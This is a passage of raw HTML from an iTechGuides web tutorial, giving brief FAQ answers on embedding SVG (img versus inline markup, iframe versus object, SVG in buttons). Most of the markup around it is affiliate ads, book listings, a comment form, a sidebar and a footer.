rel="nofollow noopener">Privacy policy</a>.</div> <h3>Should an external SVG logo use <code><img></code> or inline markup?</h3> <p>Use <code><img></code> when the logo is static and you want a separately cacheable asset. Inline it only when page styles must change its internal shapes or scripts must inspect them.</p> <h3>When is an iframe preferable to an object?</h3> <p>Choose an iframe when an explicit browsing-context boundary, a descriptive frame title, or sandbox controls are central requirements. Choose object when you want a simpler external document with native fallback content.</p> <h2><span class="ez-toc-section" id="Frequently_Asked_Questions"></span>Frequently Asked Questions<span class="ez-toc-section-end"></span></h2> <h3>Can I use an inline SVG inside a button?</h3> <p>Yes. Put the accessible name on the button and use the SVG as supporting artwork; do not make color or path geometry the only label.</p> <h3>Should an external SVG logo use an <img loading="eager"> element or inline markup?</h3> <p>Use <img loading="eager"> for a static, cacheable logo. Inline it only when page CSS or JavaScript must address its internal shapes.</p><div class="ym-p3-server-gate dyn-kna33o-universal-card dyn-kna33o-inline-style7" data-ym-phase="3" data-ym-p3-surface="inline_after_32_style7" data-ym-p3-product="multi" data-ym-p3-impression="p3-itechguides-inline_after_32_style7-multi-876392-96fdcc4f4f"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_style7" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_after_32_style7" data-ym-p3-impression="p3-itechguides-inline_after_32_style7-pc_fix-876392-ae5ed8d0af" class="dyn-kna33o-hero-main dyn-kna33o-pc-fix" data-wpel-link="internal"><span class="dyn-kna33o-hero-kicker">Performance · Free Tool</span><h3 class="dyn-kna33o-hero-title">Windows Errors? Fix Them Before They Spread</h3><p class="dyn-kna33o-hero-benefit">Repair common Windows errors and clear accumulated junk for a smoother, more stable PC - no reinstall needed.</p><span class="dyn-kna33o-hero-cta-row"><span class="dyn-kna33o-hero-btn">Fix My PC Now →</span><span class="dyn-kna33o-chip">Free scan · no reinstall</span></span></a><div class="dyn-kna33o-hero-minis"><a href="https://outebytech.com/ZTcPH88W?sub_id_3=itechguides&sub_id_4=inline_style7" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="driver" data-ym-p3-surface="inline_after_32_style7" data-ym-p3-impression="p3-itechguides-inline_after_32_style7-driver-876392-d2deeb5ec7" class="dyn-kna33o-hero-mini dyn-kna33o-driver-update" data-wpel-link="internal"><svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect x="5" y="5" width="14" height="14" rx="2"/><rect x="10" y="10" width="4" height="4"/><path d="M9 2v3M15 2v3M9 19v3M15 19v3M2 9h3M2 15h3M19 9h3M19 15h3"/></svg><span>Update all drivers →</span></a><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=inline_style7" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="inline_after_32_style7" data-ym-p3-impression="p3-itechguides-inline_after_32_style7-pc_fix-876392-477e901b39" class="dyn-kna33o-hero-mini dyn-kna33o-pc-fix" data-wpel-link="internal"><svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg><span>Fix Windows issues →</span></a></div></div><div class="ym-p3-server-gate dyn-kna33o-compliance-note">Special offer. See more information about <a href="https://outbyte.com/" target="_blank" rel="nofollow noopener">Outbyte</a> and <a href="https://outbyte.com/en/how-to-uninstall" target="_blank" rel="nofollow noopener">uninstall instructions</a>. Please review <a href="https://outbyte.com/en/license" target="_blank" rel="nofollow noopener">EULA</a> and <a href="https://outbyte.com/en/privacy" target="_blank" rel="nofollow noopener">Privacy policy</a>.</div> <h3>When is an iframe preferable to an object for SVG?</h3> <p>Use an iframe when a separate browsing context, title, or sandbox boundary is important; use object when you want simpler fallback content.</p> <div class="yorker-btm ym-aawp-phase2-bottom"><h4>Quick Recap</h4> <div class="aawp"> <div class="aawp-product aawp-product--list aawp-product--ribbon aawp-product--sale aawp-product--bestseller" data-aawp-product-id="1118008189" data-aawp-product-title="HTML and CSS Design and Build Websites" data-aawp-geotargeting="true"> <span class="aawp-product__ribbon aawp-product__ribbon--sale">Sale</span><span class="aawp-product__ribbon aawp-product__ribbon--bestseller">Bestseller No. 1</span> <div class="aawp-product__inner"> <a class="aawp-product__image-link" href="https://www.amazon.com/dp/1118008189?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML and CSS: Design and Build Websites" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__image" src="https://m.media-amazon.com/images/I/31EDwrw2voL._SL160_.jpg" alt="HTML and CSS: Design and Build Websites" /> </a> <div class="aawp-product__content"> <a class="aawp-product__title" href="https://www.amazon.com/dp/1118008189?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML and CSS: Design and Build Websites" rel="nofollow noopener sponsored" target="_blank">HTML and CSS: Design and Build Websites</a> <div class="aawp-product__teaser"> HTML CSS Design and Build Web Sites; Comes with secure packaging; It can be a gift option </div> <div class="aawp-product__meta"> <span class="aawp-product__price aawp-product__price--current">$15.75</span> </div> </div> </div> </div> <div class="aawp-product aawp-product--list aawp-product--bestseller aawp-product--ribbon" data-aawp-product-id="B0F446JZT1" data-aawp-product-title="HTML & CSS Web Design for Beginners A Comprehensive Step-by-Step Starter Guide to Designing Responsive Dynamic and Modern Websites Programming for Beginners" data-aawp-geotargeting="true"> <span class="aawp-product__ribbon aawp-product__ribbon--bestseller">Bestseller No. 2</span> <div class="aawp-product__inner"> <a class="aawp-product__image-link" href="https://www.amazon.com/dp/B0F446JZT1?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML & CSS Web Design for Beginners: A Comprehensive Step-by-Step Starter Guide to Designing Responsive, Dynamic, and Modern Websites (Programming for Beginners)" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__image" src="https://m.media-amazon.com/images/I/41dAuAcNKXL._SL160_.jpg" alt="HTML & CSS Web Design for Beginners: A Comprehensive Step-by-Step Starter Guide to Designing Responsive, Dynamic, and Modern Websites (Programming for Beginners)" /> </a> <div class="aawp-product__content"> <a class="aawp-product__title" href="https://www.amazon.com/dp/B0F446JZT1?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML & CSS Web Design for Beginners: A Comprehensive Step-by-Step Starter Guide to Designing Responsive, Dynamic, and Modern Websites (Programming for Beginners)" rel="nofollow noopener sponsored" target="_blank">HTML & CSS Web Design for Beginners: A Comprehensive Step-by-Step Starter Guide to Designing Responsive, Dynamic, and Modern Websites (Programming for Beginners)</a> <div class="aawp-product__teaser"> </div> <div class="aawp-product__meta"> <span class="aawp-product__price aawp-product__price--current">$19.99</span> </div> </div> </div> </div> <div class="aawp-product aawp-product--list aawp-product--ribbon aawp-product--sale aawp-product--bestseller" data-aawp-product-id="1636100007" data-aawp-product-title="HTML and CSS QuickStart Guide The Simplified Beginners Guide to Developing a Strong Coding Foundation Building Responsive Websites and Mastering .. Coding & Programming - QuickStart Guides" data-aawp-geotargeting="true"> <span class="aawp-product__ribbon aawp-product__ribbon--sale">Sale</span><span class="aawp-product__ribbon aawp-product__ribbon--bestseller">Bestseller No. 3</span> <div class="aawp-product__inner"> <a class="aawp-product__image-link" href="https://www.amazon.com/dp/1636100007?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML and CSS QuickStart Guide: The Simplified Beginners Guide to Developing a Strong Coding Foundation, Building Responsive Websites, and Mastering ... (Coding & Programming - QuickStart Guides)" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__image" src="https://m.media-amazon.com/images/I/51JT5GCQS0L._SL160_.jpg" alt="HTML and CSS QuickStart Guide: The Simplified Beginners Guide to Developing a Strong Coding Foundation, Building Responsive Websites, and Mastering ... (Coding & Programming - QuickStart Guides)" /> </a> <div class="aawp-product__content"> <a class="aawp-product__title" href="https://www.amazon.com/dp/1636100007?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML and CSS QuickStart Guide: The Simplified Beginners Guide to Developing a Strong Coding Foundation, Building Responsive Websites, and Mastering ... (Coding & Programming - QuickStart Guides)" rel="nofollow noopener sponsored" target="_blank">HTML and CSS QuickStart Guide: The Simplified Beginners Guide to Developing a Strong Coding Foundation, Building Responsive Websites, and Mastering ... (Coding & Programming - QuickStart Guides)</a> <div class="aawp-product__teaser"> </div> <div class="aawp-product__meta"> <span class="aawp-product__price aawp-product__price--current">$23.25</span> </div> </div> </div> </div> <div class="aawp-product aawp-product--list aawp-product--ribbon aawp-product--sale aawp-product--bestseller" data-aawp-product-id="1118907442" data-aawp-product-title="Web Design with HTML CSS JavaScript and jQuery Set" data-aawp-geotargeting="true"> <span class="aawp-product__ribbon aawp-product__ribbon--sale">Sale</span><span class="aawp-product__ribbon aawp-product__ribbon--bestseller">Bestseller No. 4</span> <div class="aawp-product__inner"> <a class="aawp-product__image-link" href="https://www.amazon.com/dp/1118907442?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="Web Design with HTML, CSS, JavaScript and jQuery Set" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__image" src="https://m.media-amazon.com/images/I/41X2i47NXUL._SL160_.jpg" alt="Web Design with HTML, CSS, JavaScript and jQuery Set" /> </a> <div class="aawp-product__content"> <a class="aawp-product__title" href="https://www.amazon.com/dp/1118907442?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="Web Design with HTML, CSS, JavaScript and jQuery Set" rel="nofollow noopener sponsored" target="_blank">Web Design with HTML, CSS, JavaScript and jQuery Set</a> <div class="aawp-product__teaser"> Brand: Wiley; Set of 2 Volumes </div> <div class="aawp-product__meta"> <span class="aawp-product__price aawp-product__price--current">$35.05</span> </div> </div> </div> </div> <div class="aawp-product aawp-product--list aawp-product--ribbon aawp-product--sale aawp-product--bestseller" data-aawp-product-id="1394164688" data-aawp-product-title="HTML CSS & JavaScript All-in-One For Dummies" data-aawp-geotargeting="true"> <span class="aawp-product__ribbon aawp-product__ribbon--sale">Sale</span><span class="aawp-product__ribbon aawp-product__ribbon--bestseller">Bestseller No. 5</span> <div class="aawp-product__inner"> <a class="aawp-product__image-link" href="https://www.amazon.com/dp/1394164688?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML, CSS, & JavaScript All-in-One For Dummies" rel="nofollow noopener sponsored" target="_blank"> <img loading="eager" class="aawp-product__image" src="https://m.media-amazon.com/images/I/51rbZQQXlNL._SL160_.jpg" alt="HTML, CSS, & JavaScript All-in-One For Dummies" /> </a> <div class="aawp-product__content"> <a class="aawp-product__title" href="https://www.amazon.com/dp/1394164688?tag=itechguides04-20&linkCode=ogi&th=1&psc=1&keywords=html+programming+book" title="HTML, CSS, & JavaScript All-in-One For Dummies" rel="nofollow noopener sponsored" target="_blank">HTML, CSS, & JavaScript All-in-One For Dummies</a> <div class="aawp-product__teaser"> </div> <div class="aawp-product__meta"> <span class="aawp-product__price aawp-product__price--current">$23.27</span> </div> </div> </div> </div> </div> </div> <!-- YM_PHASE2_SERVER_RENDERED_V20260609B country=US post=876392 kwsrc=topical kw="html programming book" tracking=disabled --> <nav class="itg-ftools" aria-label="Free tools" style="display:flex;flex-wrap:wrap;gap:6px 16px;align-items:baseline;margin:28px 0 8px;padding:12px 0;border-top:1px solid rgba(127,127,127,.25);border-bottom:1px solid rgba(127,127,127,.25);font-size:15px;line-height:1.5"><strong>Free tools on iTechGuides</strong><a href="https://www.itechguides.com/tools/word-counter/">Word Counter</a><a href="https://www.itechguides.com/tools/password-generator/">Password Generator</a><a href="https://www.itechguides.com/tools/unit-converter/">Unit Converter</a><a href="https://www.itechguides.com/tools/percentage-calculator/">Percentage Calculator</a><a href="https://www.itechguides.com/tools/age-calculator/">Age Calculator</a><a href="https://www.itechguides.com/tools/" style="font-weight:600">All free tools →</a><a href="https://www.itechguides.com/community/" style="font-weight:600">Discuss in the Community →</a></nav><p class="aawp-disclaimer">Product prices and availability are accurate as of the date/time indicated and are subject to change. Any price and availability information displayed on Amazon at the time of purchase will apply.</p><div class="essb_break_scroll"></div> </div> <aside class="itgp-reldir" data-itgp="related-directories" aria-label="The software directory"> <div class="itgp-reldir-head"> <p class="itgp-reldir-k"><a href="https://www.itechguides.com/best/">The software directory</a></p> <h2 class="itgp-reldir-t">Choosing software for this? Compare the options first.</h2> <p class="itgp-reldir-l">78,713 tools researched from official sources, ranked by editors across 4,348 directories — pricing, free plans and head-to-head comparisons.</p> </div> <ul class="itgp-reldir-list"> <li> <a class="itgp-reldir-a" href="https://www.itechguides.com/best/embedded-development-ides/" data-itgp-cta="reldir-directory"><span class="n">Embedded Development IDEs</span><span class="c">29 tools</span></a> <a class="itgp-reldir-cmp" href="https://www.itechguides.com/best/embedded-development-ides/compare/" data-itgp-cta="reldir-compare" aria-label="Compare Embedded Development IDEs">Compare</a> </li> </ul> <p class="itgp-reldir-foot"> <a href="https://www.itechguides.com/categories/" data-itgp-cta="reldir-all">All 4,348 directories →</a> <span class="byline-dot" aria-hidden="true">·</span><a class="is-vendor" href="https://www.itechguides.com/submit/" data-itgp-cta="reldir-get-listed">Is a tool of yours missing? Get listed · $99</a> </p> </aside> <footer class="post-foot"> <div class="tags"> <span class="tags-label">Filed under</span> <a class="tags-tag" href="https://www.itechguides.com/tag/accessibility/">accessibility</a> <a class="tags-tag" href="https://www.itechguides.com/tag/css/">CSS</a> <a class="tags-tag" href="https://www.itechguides.com/tag/html/">HTML</a> <a class="tags-tag" href="https://www.itechguides.com/tag/svg/">SVG</a> <a class="tags-tag" href="https://www.itechguides.com/tag/web-development/">Web Development</a> </div> </footer> <aside class="authorbox itgp-authorbox"> <span class="authorbox-avatar itgp-avatar"><img loading="eager" alt='' src='https://www.itechguides.com/wp-content/themes/itg-prime/assets/avatar/itechguides-team-96.png' srcset='https://www.itechguides.com/wp-content/themes/itg-prime/assets/avatar/itechguides-team-192.png 2x' class='avatar avatar-64 photo' height='64' width='64' /></span> <div class="authorbox-copy"> <p class="authorbox-name">iTechGuides Team</p> </div> </aside> <nav class="adjacent itgp-adjacent" aria-label="More guides"> <a class="adjacent-link adjacent-link--prev" href="https://www.itechguides.com/ruko-r1-mini-robot-dog-review/" rel="prev"> <span class="adjacent-label">← Previous</span> <span class="adjacent-title">Ruko R1 Mini Robot Dog Review: Big Tricks in a Pocket-Sized Pup</span> </a> </nav> <div class="comments-area"> <section id="comments" class="comments"> <div id="respond" class="comment-respond"> <h2 id="reply-title" class="comments-reply-title">Leave a note <small><a rel="nofollow" id="cancel-comment-reply-link" href="/how-to-embed-svg-in-html-inline-and-css/#respond" style="display:none;">Cancel reply</a></small></h2><form action="https://www.itechguides.com/wp-comments-post.php" method="post" id="commentform" class="comment-form"><p class="comment-notes"><span id="email-notes">Your email address will not be published.</span> <span class="required-field-message">Required fields are marked <span class="required">*</span></span></p><p class="comment-form-comment"><label for="comment">Comment <span class="required">*</span></label> <textarea id="comment" name="comment" cols="45" rows="8" maxlength="65525" required></textarea></p><p class="comment-form-author"><label for="author">Name <span class="required">*</span></label> <input id="author" name="author" type="text" value="" size="30" maxlength="245" autocomplete="name" required /></p> <p class="comment-form-email"><label for="email">Email <span class="required">*</span></label> <input id="email" name="email" type="email" value="" size="30" maxlength="100" aria-describedby="email-notes" autocomplete="email" required /></p> <input id="honeypot-field-url" style="display: none;" autocomplete="off" name="url" type="text" value="" size="30" maxlength="200" /> <p class="comment-form-cookies-consent"><input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes" /> <label for="wp-comment-cookies-consent">Save my name, email, and website in this browser for the next time I comment.</label></p><div class="ym-p3-server-gate dyn-kna33o-universal-card dyn-kna33o-inline-style11" data-ym-phase="3" data-ym-p3-surface="comment_form_style11" data-ym-p3-product="multi" data-ym-p3-impression="p3-itechguides-comment_form_style11-multi-876392-19b25805b7"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><span class="dyn-kna33o-flag">Worth Installing</span><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=comment_form_style11" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="comment_form_style11" data-ym-p3-impression="p3-itechguides-comment_form_style11-pc_fix-876392-f1b59ce567" class="dyn-kna33o-spot dyn-kna33o-pc-fix"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="30" height="30" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg></span><span class="dyn-kna33o-spot-body"><h3 class="dyn-kna33o-spot-title">PC Slower Than It Used to Be?</h3><span class="dyn-kna33o-spot-name">Outbyte PC Repair · free</span><span class="dyn-kna33o-spot-benefit">A free scan shows the junk files, broken settings and background clutter dragging Windows down - then fixes them in one click.</span><span class="dyn-kna33o-spot-meta"><span class="dyn-kna33o-chip">Free scan · Windows 10 & 11</span></span></span><span class="dyn-kna33o-pill">Run a Free PC Scan →</span></a></div><div class="ym-p3-server-gate dyn-kna33o-compliance-note">Special offer. See more information about <a href="https://outbyte.com/" target="_blank" rel="nofollow noopener">Outbyte</a> and <a href="https://outbyte.com/en/how-to-uninstall" target="_blank" rel="nofollow noopener">uninstall instructions</a>. Please review <a href="https://outbyte.com/en/license" target="_blank" rel="nofollow noopener">EULA</a> and <a href="https://outbyte.com/en/privacy" target="_blank" rel="nofollow noopener">Privacy policy</a>.</div> <p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="Post Comment" /> <input type='hidden' name='comment_post_ID' value='876392' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /> </p><input type="hidden" id="ct_checkjs_a666587afda6e89aec274a3657558a27" name="ct_checkjs" value="0" /><script>setTimeout(function(){var ct_input_name = "ct_checkjs_a666587afda6e89aec274a3657558a27";if (document.getElementById(ct_input_name) !== null) {var ct_input_value = document.getElementById(ct_input_name).value;document.getElementById(ct_input_name).value = document.getElementById(ct_input_name).value.replace(ct_input_value, '28271305');}}, 1000);</script></form> </div><!-- #respond --> </section> </div> </div> <aside id="secondary" class="article-sidebar widget-area rail sidebar" role="complementary" aria-label="More from iTechGuides"> <div class="inside-right-sidebar"> <div class="gb-grid-wrapper"> <section data-ax-surface="rail" class="widget itgp-offer" aria-label="Your product on iTechGuides"><div class="itgp-vp-card itgp-vp-card--rail"><p class="itgp-vp-eyebrow">For vendors</p><h2 class="itgp-vp-head">Is your product in our directory?</h2><a class="itgp-vp-row is-list" href="https://www.itechguides.com/submit/" data-itgp-cta="vendor-get-listed-rail"><span class="itgp-vp-row-t">Get listed</span><span class="itgp-vp-row-p"><b>$99</b> · one-time · live in 2 days</span><i aria-hidden="true">→</i></a><a class="itgp-vp-row is-row" href="https://www.itechguides.com/advertise/#top-spot" data-itgp-cta="vendor-top-spot-rail"><span class="itgp-vp-row-t">Get a top spot</span><span class="itgp-vp-row-p"><b>from $59/mo</b> · #1–#5 in any directory</span><i aria-hidden="true">→</i></a><p class="itgp-vp-proof">4,348 directories · 78,713 tools · do-follow link · independent scores and verdicts</p></div></section> <section class="widget widget_recent_entries"><div class="itgp-lw-head"><h2 class="widget-title">Latest on iTechGuides</h2></div><ol class="itgp-latest-list"><li class="itgp-latest-item itgp-latest-item--lead"><a href="https://www.itechguides.com/ruko-r1-mini-robot-dog-review/"><span class="itgp-latest-media"><img width="1024" height="420" src="https://www.itechguides.com/wp-content/uploads/2026/09/ruko-r1-mini-robot-dog-review-1024x420.webp" class="card-img wp-post-image" alt="Ruko R1 Mini Robot Dog Review: Big Tricks in a Pocket-Sized Pup" loading="eager" decoding="async" sizes="336px" srcset="https://www.itechguides.com/wp-content/uploads/2026/09/ruko-r1-mini-robot-dog-review-1024x420.webp 1024w, https://www.itechguides.com/wp-content/uploads/2026/09/ruko-r1-mini-robot-dog-review-300x123.webp 300w, https://www.itechguides.com/wp-content/uploads/2026/09/ruko-r1-mini-robot-dog-review-768x315.webp 768w, https://www.itechguides.com/wp-content/uploads/2026/09/ruko-r1-mini-robot-dog-review-600x246.webp 600w, https://www.itechguides.com/wp-content/uploads/2026/09/ruko-r1-mini-robot-dog-review.webp 1464w" /></span><span class="itgp-latest-copy"><span class="itgp-latest-title">Ruko R1 Mini Robot Dog Review: Big Tricks in a Pocket-Sized Pup</span><span class="itgp-latest-meta">iTechGuides Team · 8 min read</span></span></a></li><li class="itgp-latest-item"><a href="https://www.itechguides.com/best-minecraft-server-hosting-5-providers-ranked-for-every-server/"><span class="itgp-latest-media"><img width="300" height="169" src="https://www.itechguides.com/wp-content/uploads/2026/09/best-minecraft-server-hosting-5-providers-ranked-300x169.webp" class="card-img wp-post-image" alt="Best Minecraft Server Hosting: 5 Providers Ranked for Every Server" loading="eager" decoding="async" sizes="112px" srcset="https://www.itechguides.com/wp-content/uploads/2026/09/best-minecraft-server-hosting-5-providers-ranked-300x169.webp 300w, https://www.itechguides.com/wp-content/uploads/2026/09/best-minecraft-server-hosting-5-providers-ranked-1024x576.webp 1024w, https://www.itechguides.com/wp-content/uploads/2026/09/best-minecraft-server-hosting-5-providers-ranked-768x432.webp 768w, https://www.itechguides.com/wp-content/uploads/2026/09/best-minecraft-server-hosting-5-providers-ranked-1536x864.webp 1536w, https://www.itechguides.com/wp-content/uploads/2026/09/best-minecraft-server-hosting-5-providers-ranked-600x338.webp 600w, https://www.itechguides.com/wp-content/uploads/2026/09/best-minecraft-server-hosting-5-providers-ranked.webp 1600w" /></span><span class="itgp-latest-copy"><span class="itgp-latest-title">Best Minecraft Server Hosting: 5 Providers Ranked for Every Server</span><span class="itgp-latest-meta">3 min read</span></span></a></li><li class="itgp-latest-item"><a href="https://www.itechguides.com/top-11-ai-music-generators-to-try-in-2026-best-tools-by-use-case/"><span class="itgp-latest-media"><img width="300" height="158" src="https://www.itechguides.com/wp-content/uploads/2026/08/top-11-ai-music-generators-to-try-in-2026-300x158.webp" class="card-img wp-post-image" alt="Top 11 AI Music Generators to Try in 2026: Best Tools by Use Case" loading="eager" decoding="async" sizes="112px" srcset="https://www.itechguides.com/wp-content/uploads/2026/08/top-11-ai-music-generators-to-try-in-2026-300x158.webp 300w, https://www.itechguides.com/wp-content/uploads/2026/08/top-11-ai-music-generators-to-try-in-2026-1024x538.webp 1024w, https://www.itechguides.com/wp-content/uploads/2026/08/top-11-ai-music-generators-to-try-in-2026-768x403.webp 768w, https://www.itechguides.com/wp-content/uploads/2026/08/top-11-ai-music-generators-to-try-in-2026-1536x806.webp 1536w, https://www.itechguides.com/wp-content/uploads/2026/08/top-11-ai-music-generators-to-try-in-2026-600x315.webp 600w, https://www.itechguides.com/wp-content/uploads/2026/08/top-11-ai-music-generators-to-try-in-2026.webp 1600w" /></span><span class="itgp-latest-copy"><span class="itgp-latest-title">Top 11 AI Music Generators to Try in 2026: Best Tools by Use Case</span><span class="itgp-latest-meta">21 min read</span></span></a></li><li class="itgp-latest-item"><a href="https://www.itechguides.com/how-to-create-an-edge-inprivate-or-chrome-incognito-shortcut/"><span class="itgp-latest-media"><img width="300" height="225" src="https://www.itechguides.com/wp-content/uploads/2025/06/How-to-Create-an-Edge-InPrivate-or-Chrome-Incognito-Shortcut-2-300x225.jpg" class="card-img wp-post-image" alt="How to Create an Edge InPrivate or Chrome Incognito Shortcut" loading="eager" decoding="async" sizes="112px" srcset="https://www.itechguides.com/wp-content/uploads/2025/06/How-to-Create-an-Edge-InPrivate-or-Chrome-Incognito-Shortcut-2-300x225.jpg 300w, https://www.itechguides.com/wp-content/uploads/2025/06/How-to-Create-an-Edge-InPrivate-or-Chrome-Incognito-Shortcut-2-1024x767.jpg 1024w, https://www.itechguides.com/wp-content/uploads/2025/06/How-to-Create-an-Edge-InPrivate-or-Chrome-Incognito-Shortcut-2-768x575.jpg 768w, https://www.itechguides.com/wp-content/uploads/2025/06/How-to-Create-an-Edge-InPrivate-or-Chrome-Incognito-Shortcut-2-120x90.jpg 120w, https://www.itechguides.com/wp-content/uploads/2025/06/How-to-Create-an-Edge-InPrivate-or-Chrome-Incognito-Shortcut-2-340x255.jpg 340w, https://www.itechguides.com/wp-content/uploads/2025/06/How-to-Create-an-Edge-InPrivate-or-Chrome-Incognito-Shortcut-2-600x449.jpg 600w, https://www.itechguides.com/wp-content/uploads/2025/06/How-to-Create-an-Edge-InPrivate-or-Chrome-Incognito-Shortcut-2.jpg 1028w" /></span><span class="itgp-latest-copy"><span class="itgp-latest-title">How to Create an Edge InPrivate or Chrome Incognito Shortcut</span><span class="itgp-latest-meta">How-To · 2 min read</span></span></a></li><li class="itgp-latest-item"><a href="https://www.itechguides.com/brsk-full-fibre-broadband-review-why-i-switched/"><span class="itgp-latest-media"><img width="300" height="169" src="https://www.itechguides.com/wp-content/uploads/2025/05/Brsk-Full-Fibre-Broadband-Review-300x169.jpg" class="card-img wp-post-image" alt="brsk Full Fibre Broadband Review: Why I Switched" loading="eager" decoding="async" sizes="112px" srcset="https://www.itechguides.com/wp-content/uploads/2025/05/Brsk-Full-Fibre-Broadband-Review-300x169.jpg 300w, https://www.itechguides.com/wp-content/uploads/2025/05/Brsk-Full-Fibre-Broadband-Review-1024x576.jpg 1024w, https://www.itechguides.com/wp-content/uploads/2025/05/Brsk-Full-Fibre-Broadband-Review-768x432.jpg 768w, https://www.itechguides.com/wp-content/uploads/2025/05/Brsk-Full-Fibre-Broadband-Review-1536x864.jpg 1536w, https://www.itechguides.com/wp-content/uploads/2025/05/Brsk-Full-Fibre-Broadband-Review-120x68.jpg 120w, https://www.itechguides.com/wp-content/uploads/2025/05/Brsk-Full-Fibre-Broadband-Review-600x338.jpg 600w, https://www.itechguides.com/wp-content/uploads/2025/05/Brsk-Full-Fibre-Broadband-Review.jpg 1560w" /></span><span class="itgp-latest-copy"><span class="itgp-latest-title">brsk Full Fibre Broadband Review: Why I Switched</span><span class="itgp-latest-meta">Reviews · 6 min read</span></span></a></li></ol></section> </div><!-- /.gb-grid-wrapper — Raptive Sidebar_1 lands immediately after this --> </div><!-- /.inside-right-sidebar — Raptive's sticky Sidebar_9 appends here --> </aside> </div> </article> </main> <footer class="foot site-footer foot--ledger" role="contentinfo"> <div class="wrap"> <div class="foot-top"> <a class="brand brand--foot" href="https://www.itechguides.com/" rel="home"> <svg class="brand-tile" width="28" height="28" viewBox="0 0 64 64" aria-hidden="true" focusable="false"><rect width="64" height="64" rx="12" fill="var(--accent, #0F766E)"/><text x="32" y="43" text-anchor="middle" font-family="Inter, -apple-system, Segoe UI, Roboto, sans-serif" font-weight="800" font-size="30" fill="#FFFFFF" letter-spacing="-1.5">iT</text></svg> <span class="brand-name">iTech<em>Guides</em></span> </a> <p class="foot-pos">The software directory for tech.</p> <p class="foot-mission">Tools researched from official sources, ranked by editors and compared head-to-head — with a blog of plain-English guides. <a class="foot-learn" href="https://www.itechguides.com/best/editorial-policy/">How we rank →</a></p> <p class="foot-scale" aria-label="iTechGuides in numbers" data-itgp-live-scale>4,348 directories · 78,713 tools · 124,608 comparisons · 2,405 guides</p> </div> <div class="foot-grid foot-grid--directory"> <nav class="foot-col foot-col--dir" aria-label="The directory"> <h2 class="foot-h">Directory</h2> <ul class="foot-list"> <li><a href="https://www.itechguides.com/categories/">All 4,348 directories, A–Z</a></li> <li><a href="https://www.itechguides.com/topics/">Topics</a></li> <li><a href="https://www.itechguides.com/search/" data-itgp-cta="foot-search">Search tools</a></li> <li><a href="https://www.itechguides.com/best/feed.xml" data-itgp-cta="foot-rss">RSS feed</a></li> <li class="foot-li-quiet"><a href="https://www.itechguides.com/best/shared-web-hosting/">Shared Web Hosting <span class="foot-price">705</span></a></li> <li class="foot-li-quiet"><a href="https://www.itechguides.com/best/managed-cloud-hosting/">Managed Cloud Hosting <span class="foot-price">280</span></a></li> <li class="foot-li-quiet"><a href="https://www.itechguides.com/best/ecommerce-platforms/">Ecommerce Platforms <span class="foot-price">278</span></a></li> </ul> </nav> <nav class="foot-col foot-col--vendors" aria-label="For vendors"> <h2 class="foot-h">For vendors</h2> <ul class="foot-list foot-offers"> <li><a href="https://www.itechguides.com/advertise/" data-itgp-cta="vendor-advertise-foot">Advertise on iTechGuides</a></li> <li><a href="https://www.itechguides.com/submit/" data-itgp-cta="vendor-get-listed-foot"><span>Get listed</span><span class="foot-price">$99</span></a></li> <li><a href="https://www.itechguides.com/advertise/#top-spot" data-itgp-cta="vendor-top-spot-foot"><span>Get a top spot</span><span class="foot-price">from $59/mo</span></a></li> <li><a href="https://www.itechguides.com/advertise/#custom" data-itgp-cta="vendor-custom-foot">Custom campaigns</a></li> <li><a href="https://www.itechguides.com/vendor/" data-itgp-cta="foot-vendor-login">Vendor login</a></li> <li><a href="mailto:hello@itechguides.com">hello@itechguides.com</a></li> </ul> </nav> <nav class="foot-col foot-col--guides" aria-label="Guides and research"> <h2 class="foot-h">Guides & Research</h2> <ul class="foot-hubs"><li><a 